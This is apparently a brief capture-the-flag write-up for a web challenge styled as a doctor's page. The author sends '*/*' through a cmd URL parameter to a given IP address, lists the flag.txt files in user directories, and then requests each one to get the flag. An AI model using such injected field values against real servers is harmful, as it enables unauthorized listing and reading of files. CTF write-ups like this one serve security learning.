Hello Doctor,

I'm suffering from fever, Tablets not working

Medicine: | selct * from users; | | cure |

Result: select 0xannlyn A27 CyberPJ JoPraveen SIN_GREED SacDot aiden flag.txt index.php from users

---

I see some result Finally I understand that **It only accept * value**. I tried */* it shows

143.110.187.196:8010/index.php?cmd=*%2F*

Hello Doctor,

I'm suffering from fever, Tablets not working

Medicine: | */* | | cure |

ult: 0xannlyn/flag.txt A27/flag.txt CyberPJ/flag.txt JoPraveen/flag.txt SIN_GREED/flag.txt SacDot/flag.txt aiden/flag.txt

STAY HOME BE SAFE

I add this result onebyone on url
Finally I got flag :)
